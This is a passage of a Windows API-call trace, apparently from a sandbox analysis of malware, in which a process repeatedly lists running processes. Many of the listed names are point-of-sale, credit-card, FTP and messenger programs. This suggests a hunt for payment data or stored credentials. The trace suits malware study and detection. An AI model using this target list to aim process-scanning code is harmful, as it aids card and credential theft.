th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0097.215] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0097.218] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0097.222] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0097.224] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0097.227] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0097.230] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0097.232] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0097.235] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0097.237] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0097.240] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0097.243] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0097.246] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0097.248] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0097.251] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0097.254] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0097.256] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0097.259] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0097.261] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0097.265] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0097.268] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0097.271] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0097.273] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0097.277] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0097.279] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0097.282] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0097.285] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.287] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.289] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.319] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.322] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0097.324] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0097.326] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0097.328] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x528, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.330] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x528, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0097.333] CloseHandle (hObject=0x1b00) returned 1 [0097.333] Sleep (dwMilliseconds=0x64) [0097.433] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b00 [0097.451] Process32First (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.454] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0097.457] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0097.459] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.461] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0097.463] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.465] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0097.467] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0097.470] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0097.472] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.474] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.477] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0097.481] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.483] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.485] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.487] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.490] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.492] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.495] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.497] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0097.499] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.502] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0097.504] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0097.505] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.507] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0097.508] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0097.510] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0097.512] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.564] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0097.566] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0097.568] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0097.570] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.571] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.573] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0097.575] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.580] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0097.582] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0097.584] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0097.586] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0097.588] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0097.589] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0097.591] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0097.593] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0097.595] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0097.597] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0097.599] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0097.601] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0097.602] Process32Next (in: hSnapshot=0x1b00, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, 